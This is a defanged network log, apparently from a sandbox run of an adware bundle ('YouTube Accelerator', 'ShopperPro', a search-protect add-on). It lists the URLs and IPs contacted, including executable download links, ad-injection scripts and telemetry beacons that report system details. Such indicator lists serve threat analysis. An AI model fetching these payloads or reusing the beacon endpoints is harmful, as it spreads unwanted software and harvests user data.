hxxp://s3-website-us-east-1.amazonaws.com/ie-error.gif?action=bho&app=65743&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&ver=1_36_01_22&installtime=1422581366&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=21&bgver=1&pluginsver=17&curtime=1422581379&lifetime=13&error=execution_failed_-buttonutil64.exe_0x80070002&errcounter=1&il=3&rnd=105
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1422581380
hxxp://test.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE	107.20.238.80
hxxp://test.youtubeaccelerator.com/styles/yta.css?v=1	107.20.238.80
hxxp://test.youtubeaccelerator.com/js/jquery-1.8.3.min.js	107.20.238.80
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/9ZmISdorEsAVnWQbAnLWDtwOqvEtO32twtWKr9kvvwicvsFwQStECv5F5wArPI/YCpHZc9ZUaELdE/AWfC9TynhRH joYH551vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxO3A6q8S07fYnNJE/WLVy5l2fwAkvrmVqVpbyP6ok5vjiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuybEe7W9itEZBp67jbOSsxLskwZ2Lr9ocdj6afjeK5fDhR5vAG pvdOYocaijIvIVaKrGQS9s2JNgCsLqF8w43han8ICeLyHga	173.239.4.105
hxxp://test.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish	107.20.238.80
hxxp://flex.msn.com.nsatc.net/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js	207.46.194.8
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js	94.31.29.248
hxxp://test.youtubeaccelerator.com/googleanalytics.js	107.20.238.80
hxxp://test.youtubeaccelerator.com/img/youtube-accelerator-logo.png	107.20.238.80
hxxp://s3-website-us-east-1.amazonaws.com/ie-error.gif?action=bho&app=65743&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&ver=1_36_01_22&installtime=1422581366&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=21&bgver=1&pluginsver=17&curtime=1422581380&lifetime=14&error=button_failed_to_run_exe_64bit_an_attempt_was_made_to_reference_a_token_that_does_not_exist&errcounter=1&il=3&rnd=1954
hxxp://dpcdn.com/sbitin/javascript.js?hid=55ab86e2-1aa0-4cd0-9974-956045006e3d&apptitle=ShopperPro&channel=iF1UwJSsmtycl
hxxp://test.youtubeaccelerator.com/img/accelerating-videos.jpg	107.20.238.80
hxxp://pagead.l.doubleclick.net/pagead/conversion.js
hxxp://mjqap06up-su78sj1t.netdna-ssl.com/app/t.ashx?uid=55ab86e2-1aa0-4cd0-9974-956045006e3d&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU1YWI4NmUyLTFhYTAtNGNkMC05OTc0LTk1NjA0NTAwNmUzZCwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTcxJkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1422581381&aff=JSsmtycl&ver=2.0.7791.1486	198.232.124.192
hxxp://test.youtubeaccelerator.com/YTAFinishInstall.gif	107.20.238.80
hxxp://jwproductionvpclb-1443422270.us-east-1.elb.amazonaws.com/affiliate/client?dist=141&sub=iF1UwJSsmtycl&name=ShopperPro
hxxp://www-google-analytics.l.google.com/analytics.js
hxxp://pagead.l.doubleclick.net/pagead/conversion/971163981/?random=1422581381671&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f0037ca765f6f351
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt	65.255.35.144
hxxp://dpcdn.com/opt_content.js?v=opt_1419351787852&partner=sbitin&channel=sbitiniF1UwJSsmtycl&sset=7&appTitle=ShopperPro&sset=7&ip=193.138.244.231
hxxp://flex.msn.com.nsatc.net/mstag/mstag.1003102000.js	207.46.194.8
hxxp://cdn.visadd.com.cdn.cloudflare.net/script/14567725608/preload.js?subid=F1Uwsmtycl1-55ab86e2-1aa0-4cd0-9974-956045006e3d	108.162.200.127
hxxp://pagead.l.doubleclick.net/pagead/viewthroughconversion/971163981/?random=958746331&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0
hxxp://d13j8bqw-l8bu4n1j.netdna-ssl.com/gen/helper.js	198.232.125.3
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1422581382
hxxp://www-google-analytics.l.google.com/r/collect?v=1&_v=j32&a=2073456363&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1068614956&cid=45237338.1422581382&tid=UA-40752970-2&_r=1&z=1407137762
hxxp://flex.msn.com.nsatc.net/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900	207.46.194.8
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1422581382
hxxp://cdn.visadd.com.cdn.cloudflare.net/script/layer.js?pid=14567725608&ln=en	108.162.200.127
hxxp://d3597u0ojlpfu1.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js	54.230.202.192
hxxp://www.google.com/ads/conversion/971163981/?random=958746331&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3661455964	173.194.113.211
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action1=install.smt	65.255.35.144
hxxp://test.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=	107.20.238.80
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://www.youtubeaccelerator.com&xdm_c=default437&xdm_p=1	94.31.29.248
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=
hxxp://up.soft365.com/Fan/rebirth?uid=535559167_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch	174.36.247.67
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&app=65743&appver=21&ver=1_36_01_22&version_date=15-01-29&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&upi=d5d8d8a61601751d467a5854a16ce35a&procid=CFB42ADE33E740A9AAEF0EB768281B52PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_21&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ColoColoApps&ieprofiles=1&chprofiles=na&ffprofiles=1&procstarttime=1422581366&procruntime=19&rnd=1422581385
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=65743&appver=21&ver=1_36_01_22&version_date=15-01-29&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&upi=d5d8d8a61601751d467a5854a16ce35a&procid=CFB42ADE33E740A9AAEF0EB768281B52PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1422581366&lifetime=0&silent=1&crtnm=ColoColoApps&procstarttime=1422581366&procruntime=20&rnd=1422581386
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1422581366&asw=0_1073750533_-2147475456_0&browser=ff,ie,de&rnd=1422581366
hxxp://errors.crossrider.com/utility.gif?error=done_mem_0&report=mini_s&ver=820&action=na&ms_vr=3&clock=24926&rnd=16387	208.85.150.249
hxxp://bigspeedpro.com/webplayer/appshat/config.json
hxxp://pagespeed.googlehosted.com/images/64x64.ico
hxxp://pagespeed.googlehosted.com/images/16x16.ico
hxxp://pagespeed.googlehosted.com/home
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=4&index_in_screen=1&index_in_session=4&0.16778928637932194
hxxp://xa.xingcloud.com/v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716	65.255.35.144
hxxp://a1363.dscg.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1363.dscg.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1363.dscg.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?82710d4c569088d3
hxxp://gs1.wac.v2cdn.net/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=
hxxp://hostedocsp.globalsign.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=
hxxp://redirector.gvt1.com/edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe	216.58.209.206
hxxp://r3.sn-3c27ln7s.gvt1.com/edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1
hxxp://192.99.134.192/internal/reporter?v=2&subid=F1Uwsmtycl1-55ab86e2-1aa0-4cd0-9974-956045006e3d&format=1&ai=990&ctxu=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&fb=false&cid=&cbs=0.8014657370112523&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&adl=true&loc=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&dm=www.youtubeaccelerator.com&subid=F1Uwsmtycl1-55ab86e2-1aa0-4cd0-9974-956045006e3d&um=Powered by Shopper-Pro
hxxp://192.99.134.192/script/layer/serve?format=1&img=true&cid=layer_fr&isps=false&cbs=0.36564284025454563&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&adl=true&loc=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&dm=www.youtubeaccelerator.com&subid=F1Uwsmtycl1-55ab86e2-1aa0-4cd0-9974-956045006e3d&um=Powered by Shopper-Pro
hxxp://www.theviilage.com/searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.1716&uid=535559167_198339_B48A115F&dp=0	208.43.69.149
hxxp://cds.c5z6s5a3.hwcdn.net/apps/65743/resources/meta/0?r=0.9123192366487753
hxxp://cds.c5z6s5a3.hwcdn.net/system/resources/apps/65743/853130.base64?ver=1
hxxp://bigspeedpro.com/nero/js/crossrider/nero_crossrider_cs.js
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=
hxxp://hostedocsp.globalsign.com/root.crl
hxxp://hostedocsp.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw==
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://e6845.ce.akamaiedge.net/pca3.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=
hxxp://a1363.dscg.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl	88.221.132.175
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1422581382	54.231.9.28
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=jmtNUPm9rtliZHP23jXoQjnqoWKEV1aLm3FtbE0ZZbah6SLQlmMaU n78D 7rWMRxtD0z/yErQDEghalM8RLiuaQQreoGIqq74VmMl1S1eSrJhv0HKSN7fI2lN9tDRbVkdht9YBbn9NoW7mKnZ2EeHpRzM4tyPZ3ut3XEYPNrJ9roVBVYO5MhLUc4qeQHCoOK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nSjT4MUPxEN8VoiNE897smluapicxF0Xfd8gCLt/aoup5xWkDFBX92v3E3QyoSImMK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nsYTwVLnU/n42sTQmsQPwkgwB44/hE3WY3hJO7Y2KlJohmqfz4qG /vt4TSnxe7XfOtZBqFf7bsV84h2PoRfCK6gUQMjUbAKu5ANb0gKAVdW2lrxF8GR/jrXqNtnRHDA4DzNDEy52qtOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEY22HuccM6FSsGNoFW8FLTv3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijm0iRlndgoD0	54.230.203.3
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1422581366	54.231.9.28
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=1&index_in_screen=1&index_in_session=1&0.017026396957725287	78.138.127.15
hxxp://d3bg798gjlk71j.cloudfront.net/yta33_sh_full.exe	54.230.200.99
hxxp://r3---sn-3c27ln7s.gvt1.com/edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1	173.194.21.114
hxxp://www.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish	107.20.238.80
hxxp://install.sourceapp.info/mg?alpha=GHwbTD8MQCtGKW97NGYwJzVZXzpGbx9wf2NxRkthTXg2GnpbQ0w3IxJID04YNR4DEEdsA2hKfXYPV2JcaCt6RDsHClBXOD8pBExici80djBaYB0dYw55Ti0/bhIZEyMeLUdHOk0AGydRGj4HSm5Eah4ZQxgcLA1wRycKEWxMPzodRHZ U1U5QyULQ2hldm0jN11kC0AlA3pYZWE9HxgJLithIkUx	70.186.131.141
hxxp://install-cdn.sourceapp.info/sd?is=sm	213.155.152.200
hxxp://d3dle8xo1zpfnz.cloudfront.net/ytai.exe	54.230.203.145
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1422581374	54.231.9.28
hxxp://stats.ourclientinputsrv.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-01-29&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&upi=d5d8d8a61601751d467a5854a16ce35a&procid=CFB42ADE33E740A9AAEF0EB768281B52PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_21&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ColoColoApps&procstarttime=1422581366&procruntime=3&rnd=1422581369	54.231.16.180
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=kUynm8L6UyvSR sqobBJuRhBZuOYR 9mQF3UKsSdb2t7HO4WybUyRxjtTCDxth49N X1/ea0HoOzFxDz6oj2mAqR2XPWVGh jCDsw4o/xYUAvnawhe3hfp45jy0xQSUx2dEgSay2qahLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P	54.230.202.158
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=3&index_in_screen=1&index_in_session=3&0.5805198771386675	78.138.127.15
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=	23.43.139.27
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VHjGYjGl0N5sE8SFHLIEPsM3UKcKGG9ndxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98WjDAtvxZltJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPgkADCkh95qlw==	54.230.202.158
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=3&index_in_screen=1&index_in_session=3&0.9755537532330936	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbLvsEASNc/caY4G r 3F6T7M 2x4nq/V4db8yl/lmEDu8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffFowwLb8WZbSeBt3jxB9aapkCNzBoMgw6aVrgli9aT4JAAwpIfeapc=	54.230.202.158
hxxp://cdn.visadd.com/script/layer.js?pid=14567725608&ln=en	108.162.200.127
hxxp://install.sourceapp.info/mg?alpha=GHwbTD8pRCNhC1gyNGYwGThIQT8YOhk9TWZkEQpVb1laUz45CQY+UWhLGjgbMWgDETFpfnxJfHJzQxUhC3QhQUpgKwcDNEgJQzZrVi9y	70.186.131.141
hxxp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=958746331&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0	173.194.113.218
hxxp://flex.msn.com/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900	207.46.194.8
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=3&index_in_screen=1&index_in_session=3&0.3575086845663361	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbKOm5eZ4cw1FBPrMwLm 2sRKYX3Ti/i3YOiW0 omKwO0Y2XPqbUnjz51Bh/iAYXR/eNO/EFhS0oWvdLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKOB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUjFnCuA8WPDsg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb29l WE8Y8Gf5	54.230.202.158
